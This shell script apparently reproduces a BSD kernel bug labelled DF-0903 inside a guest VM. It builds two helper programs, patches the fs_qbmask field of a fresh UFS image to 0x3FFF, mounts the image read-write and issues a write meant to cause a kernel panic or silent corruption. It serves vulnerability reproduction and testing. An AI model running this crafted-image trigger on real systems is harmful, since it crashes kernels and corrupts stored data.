#!/bin/sh
# DF-0903 reproduce.sh - runs INSIDE the guest as root.
# Builds craft_img + trigger, creates a base UFS image, patches fs_qbmask,
# mounts RW, fires the write trigger, and reports. Expected: kernel panic
# (INVARIANTS) or silent corruption on noinv.
set -u
V="${1:-qbmask3fff}"
cd /root

echo "=== BUILD craft_img ==="
cc -o craft_img craft_img.c || { echo "CRAFT_BUILD_FAIL"; exit 3; }
echo "=== BUILD trigger ==="
cc -o trigger trigger.c || { echo "TRIGGER_BUILD_FAIL"; exit 3; }

# Fresh base image. Force fs_bsize=8192 (so normal fs_qbmask=0x1FFF and our
# crafted 0x3FFF is genuinely anomalous). newfs default is 16384 which would
# make 0x3FFF the *normal* value and defeat the patch.
echo "=== CREATE base UFS image (fs_bsize=8192) ==="
rm -f base.img "img_${V}.img"
truncate -s 4M base.img
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 base.img
newfs -b 8192 -f 1024 /dev/vn0 >/dev/null 2>&1
vnconfig -u vn0

echo "=== PATCH fs_qbmask -> 0x3FFF ==="
./craft_img base.img "img_${V}.img" 0x3fff
ls -l "img_${V}.img"

echo "=== MOUNT crafted image RW ==="
mkdir -p /mnt/test
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 "img_${V}.img"
mount -t ufs /dev/vn0 /mnt/test 2>&1
MNT_RC=$?
echo "MOUNT_RC=$MNT_RC"
if [ "$MNT_RC" != "0" ]; then
    echo "MOUNT FAILED -- no trigger possible"
    vnconfig -u vn0 2>/dev/null
    exit 0
fi

echo "=== FIRE TRIGGER (pwrite at offset 10000 -> expect panic) ==="
./trigger /mnt/test/target
TRIG_RC=$?
echo "TRIGGER_RC=$TRIG_RC (reached only if no panic)"

echo "=== CLEANUP ==="
umount /mnt/test 2>/dev/null
vnconfig -u vn0 2>/dev/null
echo "=== DONE ==="